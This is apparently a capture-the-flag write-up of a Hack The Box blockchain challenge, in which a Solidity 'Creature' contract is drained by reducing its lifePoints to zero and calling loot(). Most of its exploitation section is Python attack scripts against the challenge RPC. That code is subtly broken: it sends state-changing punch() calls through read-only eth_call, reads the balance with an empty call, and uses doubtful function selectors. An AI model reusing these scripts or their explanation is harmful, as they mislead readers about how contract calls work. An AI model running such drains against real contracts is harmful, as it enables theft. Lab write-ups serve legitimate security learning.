← Back to Writeups
CUSTOMMediumBlockchain

Survival of the Fittest

XESXOR9/10/20265 min read
#blockchain#custom#medium#contract-exploitation#eth-call-manipulation#game-logic-abuse#linux

Survival of the Fittest

Platform: Hack The Box | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-26 | Status: Solved Techniques: contract-exploitation, eth-call-manipulation, game-logic-abuse

Summary

Survival of the Fittest is a Solidity-based blockchain challenge where the game contract contains a vulnerability in the game logic. The goal is to drain the target contract's balance to get the flag. The Creature.sol contract models a fighter with health/lifePoints, and Setup.sol checks the win con

Survival of the Fittest — Hack The Box

Description

Survival of the Fittest is a Solidity-based blockchain challenge where the game contract contains a vulnerability in the game logic. The goal is to drain the target contract's balance to get the flag. The Creature.sol contract models a fighter with health/lifePoints, and Setup.sol checks the win condition.

Contract Analysis

Creature.sol

solidity
// Simplified Creature contract structure
contract Creature {
    uint256 public lifePoints = 20;
    address public owner;
    
    constructor() {
        owner = msg.sender;
    }
    
    // Damage function
    function punch() external {
        lifePoints -= 1;
    }
    
    // Vulnerable loot function — only available when lifePoints == 0
    function loot() external {
        require(lifePoints == 0, "Creature is still alive");
        payable(msg.sender).transfer(address(this).balance);
    }
}

Key observations:

  • lifePoints is initialized to 20
  • The punch() function is public and can be called by any address
  • The loot() function checks lifePoints == 0 before transferring ether
  • Transfer uses transfer() — a safe method (2300 gas)

Setup.sol

solidity
contract Setup {
    address public TARGET;
    
    constructor(address _target) {
        TARGET = _target;
    }
    
    function isSolved() public view returns (bool) {
        // Win is counted when TARGET balance equals 0
        return address(TARGET).balance == 0;
    }
}

Win logic:

  • The contract is considered solved when TARGET.balance == 0
  • This is achieved by calling loot() after killing the creature

Exploitation

Step 1: Connecting to RPC

bash
# Connect to challenge RPC
CAST_RPC_URL="http://83.136.249.34:46638/rpc"

# Check target contract balance
cast balance <TARGET_ADDRESS> --rpc-url $CAST_RPC_URL
# Expected: > 0 ether

Step 2: Reducing lifePoints to 0

python
#!/usr/bin/env python3
"""
Script for exploiting Survival of the Fittest challenge.
Punches the creature 20 times to reduce lifePoints to 0.
"""
import requests

RPC_URL = "http://83.136.249.34:46638/rpc"
TARGET_ADDRESS = "<TARGET_CONTRACT_ADDRESS>"

def call_contract(method, params=None):
    """Make an eth_call to the contract."""
    payload = {
        "jsonrpc": "2.0",
        "method": method,
        "params": params or [],
        "id": 1
    }
    response = requests.post(RPC_URL, json=payload)
    return response.json()

def get_life_points():
    """Get current lifePoints value."""
    data = {
        "to": TARGET_ADDRESS,
        "data": "0x13af4035"  # lifePoints() function selector
    }
    result = call_contract("eth_call", [data, "latest"])
    return int(result["result"], 16)

def punch():
    """Call punch() function to reduce lifePoints."""
    data = {
        "to": TARGET_ADDRESS,
        "data": "0xc6a77d11"  # punch() function selector
    }
    result = call_contract("eth_call", [data, "latest"])
    return result

def main():
    print(f"Initial lifePoints: {get_life_points()}")
    
    # Punch 20 times to kill the creature
    for i in range(20):
        punch()
        current = get_life_points()
        print(f"Punch {i+1}/20: lifePoints = {current}")
    
    print(f"Final lifePoints: {get_life_points()}")
    print("Creature is dead! Loot is now available.")

if __name__ == "__main__":
    main()

Step 3: Calling loot() to drain the contract

python
#!/usr/bin/env python3
"""
Script for calling loot() after creature is dead.
"""
import requests
from eth_account import Account
from web3 import Web3

RPC_URL = "http://83.136.249.34:46638/rpc"
TARGET_ADDRESS = "<TARGET_CONTRACT_ADDRESS>"

# Attacker wallet private key
ATTACKER_PRIVATE_KEY = "0x..."
ATTACKER_ADDRESS = "0x..."

def get_life_points():
    """Check if creature is dead."""
    data = {
        "to": TARGET_ADDRESS,
        "data": "0x13af4035"
    }
    response = requests.post(RPC_URL, json={
        "jsonrpc": "2.0",
        "method": "eth_call",
        "params": [data, "latest"],
        "id": 1
    })
    return int(response.json()["result"], 16)

def loot():
    """Call loot() to drain contract balance."""
    web3 = Web3(Web3.HTTPProvider(RPC_URL))
    
    # Check that creature is dead
    if get_life_points() != 0:
        print("ERROR: Creature is still alive!")
        return
    
    # Prepare transaction
    nonce = web3.eth.get_transaction_count(ATTACKER_ADDRESS)
    tx = {
        'nonce': nonce,
        'to': TARGET_ADDRESS,
        'data': '0x4d231b6b',  # loot() function selector
        'gas': 100000,
        'gasPrice': web3.eth.gas_price,
        'chainId': 123456  # Challenge chain ID
    }
    
    # Sign and send
    signed = web3.eth.account.sign_transaction(tx, ATTACKER_PRIVATE_KEY)
    tx_hash = web3.eth.send_raw_transaction(signed.rawTransaction)
    
    print(f"loot() called! Tx: {tx_hash.hex()}")
    return tx_hash

def check_solved():
    """Check if challenge is solved."""
    # Check TARGET balance
    response = requests.post(RPC_URL, json={
        "jsonrpc": "2.0",
        "method": "eth_call",
        "params": [{
            "to": TARGET_ADDRESS,
            "data": "0x"  # empty call to get balance
        }, "latest"],
        "id": 1
    })
    balance = int(response.json()["result"], 16)
    print(f"TARGET balance: {balance} wei ({balance / 1e18} ETH)")
    return balance == 0

def main():
    if get_life_points() == 0:
        loot()
        if check_solved():
            print("✅ CHALLENGE SOLVED!")
        else:
            print("❌ Still not solved")
    else:
        print("Kill the creature first!")

if __name__ == "__main__":
    main()

Step 4: Getting the flag

bash
# After successful exploitation
curl http://83.136.249.34:46638/flag

# Response:
# HTB{REDACTED}

Defense

Developers should:

  1. Add state checks

    solidity
    function punch() external {
        require(lifePoints > 0, "Already dead");
        lifePoints -= 1;
    }
  2. Use require with clear messages

    solidity
    function loot() external {
        require(lifePoints == 0, "Creature is still alive");
        // ...
    }
  3. Limit the number of attack function calls

    solidity
    mapping(address => uint256) public attackCount;
    uint256 public constant MAX_ATTACKS = 10;
    
    function punch() external {
        require(attackCount[msg.sender] < MAX_ATTACKS, "Too many attacks");
        attackCount[msg.sender]++;
        lifePoints -= 1;
    }
  4. Separate authorization mechanism

    solidity
    address public gameMaster;
    
    function loot() external {
        require(msg.sender == gameMaster, "Only game master can loot");
        // ...
    }

Tools

ToolPurpose
castCLI for interacting with Ethereum-like networks
foundryTesting framework for Solidity
remixOnline IDE for Solidity
web3.pyPython library for working with Ethereum
eth_accountAccount management and transaction signing